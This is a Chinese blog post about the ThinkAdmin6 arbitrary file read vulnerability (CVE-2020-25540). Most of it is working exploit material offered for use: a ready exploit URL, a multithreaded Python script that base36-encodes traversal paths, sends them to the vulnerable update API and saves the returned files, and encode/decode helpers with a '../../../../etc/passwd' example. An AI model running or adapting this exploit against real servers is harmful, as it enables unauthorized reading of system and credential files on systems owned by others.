ThinkAdmin6 任意文件读取漏洞cve-2020-25540

在我们日常中遇到了ThinkAdmin6任意文件读取时候,常常无法控制路径,为此我把网上的exp拆分出来

admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34

这是网上公开的exp

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import os
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import requests
import base64
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style

# 初始化 colorama
init(autoreset=True)

# 禁用InsecureRequestWarning警告
warnings.simplefilter('ignore', InsecureRequestWarning)

def base36_encode(number):
    """将数字转换为 base36 编码"""
    num_str = '0123456789abcdefghijklmnopqrstuvwxyz'
    if number == 0:
        return '0'

    base36 = []
    while number != 0:
        number, i = divmod(number, 36)
        base36.append(num_str[i])

    return ''.join(reversed(base36))



def get_data(url):
    """从指定 URL 获取并解码 base64 编码的数据"""
    try:
        response = requests.get(url, verify=False)  # 禁用 SSL 证书验证
        response.raise_for_status()
        page = response.json()
        if page['code'] == 1:
            return base64.b64decode(page['data']['content'].encode()).decode()
        return "read error"
    except requests.RequestException as e:
        print(f"{Fore.RED}请求错误: {e}")
        return "error"
    except KeyError as e:
        print(f"{Fore.RED}响应中没有找到预期的字段: {e}")
        return "error"
    except base64.binascii.Error as e:
        print(f"{Fore.RED}Base64 解码错误: {e}")
        return "error"
    except ValueError as e:
        print(f"{Fore.RED}JSON 解码错误: {e}")
        return "error"


def process_file(target, base_path, file_path):
    """处理单个文件"""
    if base_path:
        file_path = os.path.join(base_path, file_path).replace("\\", "/")  # 拼接基础路径

    content = file_path

    tmp_str = ''.join(base36_encode(ord(char)) for char in content)

    uri = "/admin.html?s=admin/api.Update/get/encode/"
    target_url = f"{target.rstrip('/')}{uri}{tmp_str}"
    print(tmp_str)

    result = get_data(target_url)
    if result == "":
        return f"{Fore.GREEN}{content} 目录存在!"
    elif result == "read error":
        return f"{Fore.RED}{content} 获取文件内容失败!"
    elif result == "error":
        return f"{Fore.RED}{content} 失败!"
    else:
        result_dir = 'result'
        if not os.path.exists(result_dir):
            os.makedirs(result_dir)
        # 使用完整路径创建文件名
        safe_file_name = content.replace("../", "").replace("/", "_")
        file_path = os.path.join(result_dir, safe_file_name)
        with open(file_path, 'w', encoding='utf-8') as file:
            file.write(result)
        return f"{Fore.GREEN}内容已保存到文件: {file_path}"


def main():
    parser = argparse.ArgumentParser(description='通过 API 读取文件并获取响应')
    parser.add_argument('-t', '--target', required=True, help='目标 IP 地址或域名')
    parser.add_argument('-f', '--file', help='要读取的文件路径')
    parser.add_argument('-w', '--wordlist', help='字典文件路径,提供多个文件路径或文件名')
    parser.add_argument('-b', '--base-path', help='基础路径,用于拼接字典文件中的路径')
    parser.add_argument('-p', '--parallel', type=int, default=5, help='并行线程数')
    args = parser.parse_args()

    if args.wordlist:
        with open(args.wordlist, 'r', encoding='utf-8') as f:
            file_paths = [line.strip() for line in f.readlines()]
    else:
        file_paths = [args.file]

    with ThreadPoolExecutor(max_workers=args.parallel) as executor:
        future_to_file = {executor.submit(process_file, args.target, args.base_path, file_path): file_path for file_path in file_paths}
        for future in as_completed(future_to_file):
            try:
                result = future.result()
                print(result)
            except Exception as e:
                print(f"{Fore.RED}处理文件时出错: {e}")


if __name__ == '__main__':
    main()

参数解密代码

# -*- coding: utf-8 -*-

def base36_decode(number_str):
    """将 base36 编码的字符串转换回数字"""
    num_str = '0123456789abcdefghijklmnopqrstuvwxyz'
    result = 0
    for char in number_str:
        result = result * 36 + num_str.index(char)
    return result

def decode_tmp_str(encoded_str):
    """从 base36 编码的字符串中解码原始路径"""
    parts = [encoded_str[i:i+2] for i in range(0, len(encoded_str), 2)]
    ascii_values = [base36_decode(part) for part in parts]
    return ''.join(chr(value) for value in ascii_values)

# 给定的编码字符串
encoded_str = "34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34"

# 解码
decoded_str = decode_tmp_str(encoded_str)

print("Decoded string:", decoded_str)

运行效果

参数加密

# -*- coding: utf-8 -*-

def base36_encode(number):
    """将数字转换为 base36 编码"""
    num_str = '0123456789abcdefghijklmnopqrstuvwxyz'
    if number == 0:
        return '0'

    base36 = []
    while number != 0:
        number, i = divmod(number, 36)
        base36.append(num_str[i])
    return ''.join(reversed(base36))

def encode_to_base36(path):
    """将给定的字符串转换为 base36 编码的字符串"""
    encoded_parts = [''.join([base36_encode(ord(char)) for char in part]) for part in path]
    # 因为每个字符编码后长度固定为2,所以可以直接连接
    return ''.join(encoded_parts)

# 示例
original_path = "public/static/../../../../etc/passwd"
encoded_str = encode_to_base36(original_path)

print("Original Path:", original_path)
print("Encoded string:", encoded_str)

运行效果

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值